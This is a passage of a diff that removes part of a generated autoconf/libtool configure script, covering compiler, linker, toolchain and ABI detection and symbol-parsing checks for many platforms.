- lt_cv_deplibs_check_method=pass_all
- ;;
- esac
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-esac
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
-$as_echo "$lt_cv_deplibs_check_method" >&6; }
-file_magic_cmd=$lt_cv_file_magic_cmd
-deplibs_check_method=$lt_cv_deplibs_check_method
-test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-@%:@ Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
-fi
-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-# Some flags need to be propagated to the compiler or linker for good
-# libtool support.
-case $host in
-ia64-*-hpux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- case `/usr/bin/file conftest.$ac_objext` in
- *ELF-32*)
- HPUX_IA64_MODE="32"
- ;;
- *ELF-64*)
- HPUX_IA64_MODE="64"
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-*-*-irix6*)
- # Find out which ABI we are using.
- echo '#line __oline__ "configure"' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- if test "$lt_cv_prog_gnu_ld" = yes; then
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -melf32bsmip"
- ;;
- *N32*)
- LD="${LD-ld} -melf32bmipn32"
- ;;
- *64-bit*)
- LD="${LD-ld} -melf64bmip"
- ;;
- esac
- else
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -32"
- ;;
- *N32*)
- LD="${LD-ld} -n32"
- ;;
- *64-bit*)
- LD="${LD-ld} -64"
- ;;
- esac
- fi
- fi
- rm -rf conftest*
- ;;
-
-x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- case `/usr/bin/file conftest.o` in
- *32-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_i386"
- ;;
- ppc64-*linux*|powerpc64-*linux*)
- LD="${LD-ld} -m elf32ppclinux"
- ;;
- s390x-*linux*)
- LD="${LD-ld} -m elf_s390"
- ;;
- sparc64-*linux*)
- LD="${LD-ld} -m elf32_sparc"
- ;;
- esac
- ;;
- *64-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_x86_64"
- ;;
- ppc*-*linux*|powerpc*-*linux*)
- LD="${LD-ld} -m elf64ppc"
- ;;
- s390*-*linux*)
- LD="${LD-ld} -m elf64_s390"
- ;;
- sparc*-*linux*)
- LD="${LD-ld} -m elf64_sparc"
- ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-sco3.2v5*)
- # On SCO OpenServer 5, we need -belf to get full-featured binaries.
- SAVE_CFLAGS="$CFLAGS"
- CFLAGS="$CFLAGS -belf"
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler needs -belf" >&5
-$as_echo_n "checking whether the C compiler needs -belf... " >&6; }
-if ${lt_cv_cc_needs_belf+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- lt_cv_cc_needs_belf=yes
-else
- lt_cv_cc_needs_belf=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
-$as_echo "$lt_cv_cc_needs_belf" >&6; }
- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
- CFLAGS="$SAVE_CFLAGS"
- fi
- ;;
-sparc*-*solaris*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- case `/usr/bin/file conftest.o` in
- *64-bit*)
- case $lt_cv_prog_gnu_ld in
- yes*) LD="${LD-ld} -m elf64_sparc" ;;
- *) LD="${LD-ld} -64" ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-cygwin* | *-*-mingw* | *-*-pw32*)
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$DLLTOOL"; then
- ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-DLLTOOL=$ac_cv_prog_DLLTOOL
-if test -n "$DLLTOOL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-$as_echo "$DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_DLLTOOL"; then
- ac_ct_DLLTOOL=$DLLTOOL
- # Extract the first word of "dlltool", so it can be a program name with args.
-set dummy dlltool; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_DLLTOOL"; then
- ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_DLLTOOL="dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-if test -n "$ac_ct_DLLTOOL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-$as_echo "$ac_ct_DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_DLLTOOL" = x; then
- DLLTOOL="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- DLLTOOL=$ac_ct_DLLTOOL
- fi
-else
- DLLTOOL="$ac_cv_prog_DLLTOOL"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args.
-set dummy ${ac_tool_prefix}as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AS"; then
- ac_cv_prog_AS="$AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AS="${ac_tool_prefix}as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AS=$ac_cv_prog_AS
-if test -n "$AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AS" >&5
-$as_echo "$AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AS"; then
- ac_ct_AS=$AS
- # Extract the first word of "as", so it can be a program name with args.
-set dummy as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AS"; then
- ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AS="as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AS=$ac_cv_prog_ac_ct_AS
-if test -n "$ac_ct_AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5
-$as_echo "$ac_ct_AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AS" = x; then
- AS="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AS=$ac_ct_AS
- fi
-else
- AS="$ac_cv_prog_AS"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args.
-set dummy ${ac_tool_prefix}objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$OBJDUMP"; then
- ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-OBJDUMP=$ac_cv_prog_OBJDUMP
-if test -n "$OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5
-$as_echo "$OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_OBJDUMP"; then
- ac_ct_OBJDUMP=$OBJDUMP
- # Extract the first word of "objdump", so it can be a program name with args.
-set dummy objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_OBJDUMP"; then
- ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_OBJDUMP="objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP
-if test -n "$ac_ct_OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5
-$as_echo "$ac_ct_OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_OBJDUMP" = x; then
- OBJDUMP="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
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-
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_CXX_dependencies_compiler_type" >&5
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-
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C++ preprocessor" >&5
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-
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-
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-
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
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-
-
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU Fortran 77 compiler" >&5
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-
- end
-_ACEOF
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- ac_compiler_gnu=no
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-
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_f77_compiler_gnu" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $F77 accepts -g" >&5
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- FFLAGS=-g
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- program main
-
- end
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- ac_cv_prog_f77_g=no
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-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_f77_g" >&5
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- FFLAGS="-g -O2"
- else
- FFLAGS="-g"
- fi
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- if test "x$ac_cv_f77_compiler_gnu" = xyes; then
- FFLAGS="-O2"
- else
- FFLAGS=
- fi
-fi
-
-if test $ac_compiler_gnu = yes; then
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- G77=
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-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
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-
-
-
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-# find the maximum length of command line arguments
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- msdosdjgpp*)
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- ;;
-
- gnu*)
- # Under GNU Hurd, this test is not required because there is
- # no limit to the length of command line arguments.
- # Libtool will interpret -1 as no limit whatsoever
- lt_cv_sys_max_cmd_len=-1;
- ;;
-
- cygwin* | mingw*)
- # On Win9x/ME, this test blows up -- it succeeds, but takes
- # about 5 minutes as the teststring grows exponentially.
- # Worse, since 9x/ME are not pre-emptively multitasking,
- # you end up with a "frozen" computer, even though with patience
- # the test eventually succeeds (with a max line length of 256k).
- # Instead, let's just punt: use the minimum linelength reported by
- # all of the supported platforms: 8192 (on NT/2K/XP).
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- amigaos*)
- # On AmigaOS with pdksh, this test takes hours, literally.
- # So we just punt and use a minimum line length of 8192.
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
- # This has been around since 386BSD, at least. Likely further.
- if test -x /sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
- elif test -x /usr/sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
- else
- lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs
- fi
- # And add a safety zone
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
- ;;
-
- interix*)
- # We know the value 262144 and hardcode it with a safety zone (like BSD)
- lt_cv_sys_max_cmd_len=196608
- ;;
-
- osf*)
- # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
- # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
- # nice to cause kernel panics so lets avoid the loop below.
- # First set a reasonable default.
- lt_cv_sys_max_cmd_len=16384
- #
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- *1*) lt_cv_sys_max_cmd_len=-1 ;;
- esac
- fi
- ;;
- sco3.2v5*)
- lt_cv_sys_max_cmd_len=102400
- ;;
- sysv5* | sco5v6* | sysv4.2uw2*)
- kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
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- else
- lt_cv_sys_max_cmd_len=32768
- fi
- ;;
- *)
- # If test is not a shell built-in, we'll probably end up computing a
- # maximum length that is only half of the actual maximum length, but
- # we can't tell.
- SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
- while (test "X"`$SHELL $0 --fallback-echo "X$teststring" 2>/dev/null` \
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- do
- i=`expr $i + 1`
- teststring=$teststring$teststring
- done
- teststring=
- # Add a significant safety factor because C++ compilers can tack on massive
- # amounts of additional arguments before passing them to the linker.
- # It appears as though 1/2 is a usable value.
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
- ;;
- esac
-
-fi
-
-if test -n $lt_cv_sys_max_cmd_len ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sys_max_cmd_len" >&5
-$as_echo "$lt_cv_sys_max_cmd_len" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: none" >&5
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-fi
-
-
-
-
-# Check for command to grab the raw symbol name followed by C symbol from nm.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking command to parse $NM output from $compiler object" >&5
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-if ${lt_cv_sys_global_symbol_pipe+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
-# These are sane defaults that work on at least a few old systems.
-# [They come from Ultrix. What could be older than Ultrix?!! ;)]
-
-# Character class describing NM global symbol codes.
-symcode='[BCDEGRST]'
-
-# Regexp to match symbols that can be accessed directly from C.
-sympat='\([_A-Za-z][_A-Za-z0-9]*\)'
-
-# Transform an extracted symbol line into a proper C declaration
-lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'"
-
-# Transform an extracted symbol line into symbol name and symbol address
-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
-
-# Define system-specific variables.
-case $host_os in
-aix*)
- symcode='[BCDT]'
- ;;
-cygwin* | mingw* | pw32*)
- symcode='[ABCDGISTW]'
- ;;
-hpux*) # Its linker distinguishes data from code symbols
- if test "$host_cpu" = ia64; then
- symcode='[ABCDEGRST]'
- fi
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- ;;
-linux*)
- if test "$host_cpu" = ia64; then
- symcode='[ABCDGIRSTW]'
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- fi
- ;;
-irix* | nonstopux*)
- symcode='[BCDEGRST]'
- ;;
-osf*)
- symcode='[BCDEGQRST]'
- ;;
-solaris*)
- symcode='[BDRT]'
- ;;
-sco3.2v5*)
- symcode='[DT]'
- ;;
-sysv4.2uw2*)
- symcode='[DT]'
- ;;
-sysv5* | sco5v6* | unixware* | OpenUNIX*)
- symcode='[ABDT]'
- ;;
-sysv4)
- symcode='[DFNSTU]'
- ;;
-esac
-
-# Handle CRLF in mingw tool chain
-opt_cr=
-case $build_os in
-mingw*)
- opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
- ;;
-esac
-
-# If we're using GNU nm, then use its standard symbol codes.
-case `$NM -V 2>&1` in
-*GNU* | *'with BFD'*)
- symcode='[ABCDGIRSTW]' ;;
-esac
-
-# Try without a prefix undercore, then with it.
-for ac_symprfx in "" "_"; do
-
- # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
- symxfrm="\\1 $ac_symprfx\\2 \\2"
-
- # Write the raw and C identifiers.
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-
- rm -f conftest*
- cat > conftest.$ac_ext <<EOF
-#ifdef __cplusplus
-extern "C" {
-#endif
-char nm_test_var;
-void nm_test_func(){}
-#ifdef __cplusplus
-}
-#endif
-int main(){nm_test_var='a';nm_test_func();return(0);}
-EOF
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Now try to grab the symbols.
- nlist=conftest.nm
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\""; } >&5
- (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s "$nlist"; then
- # Try sorting and uniquifying the output.
- if sort "$nlist" | uniq > "$nlist"T; then
- mv -f "$nlist"T "$nlist"
- else
- rm -f "$nlist"T
- fi
-
- # Make sure that we snagged all the symbols we need.
- if grep ' nm_test_var$' "$nlist" >/dev/null; then
- if grep ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<EOF > conftest.$ac_ext
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-EOF
- # Now generate the symbol file.
- eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
-
- cat <<EOF >> conftest.$ac_ext
-#if defined (__STDC__) && __STDC__
-# define lt_ptr_t void *
-#else
-# define lt_ptr_t char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-const struct {
- const char *name;
- lt_ptr_t address;
-}
-lt_preloaded_symbols[] =
-{
-EOF
- $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
- cat <<\EOF >> conftest.$ac_ext
- {0, (lt_ptr_t) 0}
-};
-
-#ifdef __cplusplus
-}
-#endif
-EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
- lt_save_LIBS="$LIBS"
- lt_save_CFLAGS="$CFLAGS"
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
- LIBS="$lt_save_LIBS"
- CFLAGS="$lt_save_CFLAGS"
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
- else
- echo "cannot find nm_test_var in $nlist" >&5
- fi
- else
- echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5
- fi
- else
- echo "$progname: failed program was:" >&5
- cat conftest.$ac_ext >&5
- fi
- rm -f conftest* conftst*
-
- # Do not use the global_symbol_pipe unless it works.
- if test "$pipe_works" = yes; then
- break
- else
- lt_cv_sys_global_symbol_pipe=
- fi
-done
-
-fi
-
-if test -z "$lt_cv_sys_global_symbol_pipe"; then
- lt_cv_sys_global_symbol_to_cdecl=
-fi
-if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: failed" >&5
-$as_echo "failed" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ok" >&5
-$as_echo "ok" >&6; }
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for objdir" >&5
-$as_echo_n "checking for objdir... " >&6; }
-if ${lt_cv_objdir+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f .libs 2>/dev/null
-mkdir .libs 2>/dev/null
-if test -d .libs; then
- lt_cv_objdir=.libs
-else
- # MS-DOS does not allow filenames that begin with a dot.
- lt_cv_objdir=_libs
-fi
-rmdir .libs 2>/dev/null
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_objdir" >&5
-$as_echo "$lt_cv_objdir" >&6; }
-objdir=$lt_cv_objdir
-
-
-
-
-
-case $host_os in
-aix3*)
- # AIX sometimes has problems with the GCC collect2 program. For some
- # reason, if we set the COLLECT_NAMES environment variable, the problems
- # vanish in a puff of smoke.
- if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
- fi
- ;;
-esac
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed='sed -e 1s/^X//'
-sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'
-
-# Same as above, but do not quote variable references.
-double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'
-
-# Sed substitution to delay expansion of an escaped shell variable in a
-# double_quote_subst'ed string.
-delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g'
-
-# Sed substitution to avoid accidental globbing in evaled expressions
-no_glob_subst='s/\*/\\\*/g'
-
-# Constants:
-rm="rm -f"
-
-# Global variables:
-default_ofile=libtool
-can_build_shared=yes
-
-# All known linkers require a `.a' archive for static linking (except MSVC,
-# which needs '.lib').
-libext=a
-ltmain="$ac_aux_dir/ltmain.sh"
-ofile="$default_ofile"
-with_gnu_ld="$lt_cv_prog_gnu_ld"
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
